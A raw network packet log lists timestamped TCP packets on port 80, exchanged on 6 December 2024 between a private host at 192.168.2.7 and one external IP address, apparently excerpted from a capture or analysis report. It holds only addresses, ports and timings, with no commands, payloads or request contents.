Dec 6, 2024 22:08:22.763015032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.763053894 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.764283895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.764483929 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.764554977 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.765578985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.765809059 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.765853882 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.766951084 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.766999960 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.767225981 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.768026114 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.768282890 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.768325090 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.768518925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.768569946 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.769675970 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.769731045 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.769951105 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.769996881 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.770953894 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.771006107 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.771207094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.771251917 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.772279978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.772550106 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.772613049 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.773613930 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.773859024 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.773909092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.774863005 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.775085926 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.775170088 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.804996967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.805099964 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.805211067 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.805357933 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.805593014 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.805644989 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.805792093 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.805835962 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.806235075 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.806278944 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.806835890 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.806879997 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.807161093 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.807209015 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.807696104 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.807748079 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.808007002 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.808056116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.809847116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.809897900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.810740948 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.810774088 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.810786963 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.810801983 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.810813904 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.810828924 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.817614079 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.817627907 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.817671061 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.818531990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.818547964 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.818594933 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.818618059 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.819494009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.819510937 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.819547892 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.819560051 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.820456982 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.820471048 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.820506096 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.821464062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.821480036 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.821511030 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.821532011 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.822424889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.822439909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.822448969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.822473049 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.822487116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.823405981 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.823421955 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.823452950 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.823476076 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.824383020 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.824395895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.824428082 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.824441910 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.825329065 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.825350046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.825373888 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.825402975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.826301098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.826313019 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.826323032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.826343060 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.826361895 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.827286005 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.827300072 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.827332020 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.827353001 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.828262091 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.828277111 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.828309059 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.828325033 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.829229116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.829243898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.829298973 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.830183983 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.830202103 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.830225945 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.830250978 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.831135035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.831156969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.831167936 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.831177950 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.831192970 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.831213951 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.832123995 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.832138062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.832174063 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.875303984 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.875472069 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.875570059 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.875580072 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.876018047 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.876113892 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.876132011 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.876533985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.876586914 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.876884937 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.876935005 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.877552986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.877599955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.877746105 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.877798080 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.921828985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.922152996 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.922388077 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.922435999 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.922878027 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.922959089 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.923297882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.923352957 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.923731089 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.924016953 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.924240112 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.928018093 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.935653925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.935890913 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.935966969 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.936291933 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.936750889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.936808109 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.937175035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.937225103 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.937603951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.938123941 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.938169003 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.938488007 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.939080954 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.939120054 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.939379930 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.939424992 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.940114975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.940371990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.940418959 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.941159010 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.941205025 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.941334009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.942063093 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.942147017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.942224026 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.942365885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.942449093 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.943124056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.943178892 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.943356991 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.943409920 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.944112062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.944169998 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.944350958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.944396973 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.945112944 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.945167065 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.945326090 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.945372105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.946115971 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.946172953 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.946353912 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.946400881 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.947144032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.947197914 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.947334051 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.948169947 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.948225975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.948529959 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.949110985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.949162960 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.949417114 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.949464083 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.950129986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.950484037 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.950531960 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.951073885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.951415062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.951464891 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.952085018 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.952323914 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.952372074 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.953088999 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.953144073 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.953298092 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.954154015 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.954221964 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.954324961 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.954389095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.967036009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.967227936 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.967242002 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.967300892 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.967344999 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.968105078 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.968117952 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.968163967 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.969055891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.969068050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.969132900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.000612974 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.000812054 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.000878096 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.001689911 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.002130985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.002207041 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.004045010 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.004055977 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.004101038 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.006985903 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.006998062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.007010937 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.007042885 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.007085085 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.007915974 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.007936954 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.007973909 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.007997036 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.008934975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.008946896 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.008989096 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.009882927 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.009896040 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.009936094 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.010854006 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.010865927 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.010876894 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.010904074 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.010921001 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.011784077 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.011795998 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.011825085 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.011852026 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.012677908 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.012690067 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.012721062 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.012734890 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.013545990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.013557911 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.013598919 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.014431000 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.014442921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.014483929 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.015291929 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.015305042 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.015335083 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.015357018 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.016155958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.016169071 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.016206980 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.017056942 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.017075062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.017132044 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.017926931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.017944098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.017976046 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.018788099 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.018821001 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.018829107 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.018850088 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.019697905 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.019710064 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.019738913 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.019759893 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.020586967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.020598888 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.020642996 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.021466970 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.021478891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.021516085 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.022376060 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.022392988 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.022417068 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.022439957 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.023242950 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.023255110 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.023298025 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.024029016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.028038979 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.067557096 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.067708969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.067770004 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.068171978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.068593025 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.068636894 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.069029093 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.069066048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.069467068 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.069727898 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.069941998 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.069981098 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.113791943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.113854885 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.114047050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.114098072 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.114433050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.114484072 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.114640951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.114686966 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.115094900 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.115147114 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.115539074 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.115585089 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.115955114 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.116003990 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.116389036 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.116441011 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.127763987 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.127871990 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.127887011 CET	80	49701	185.215.113.206	192.168.2.7
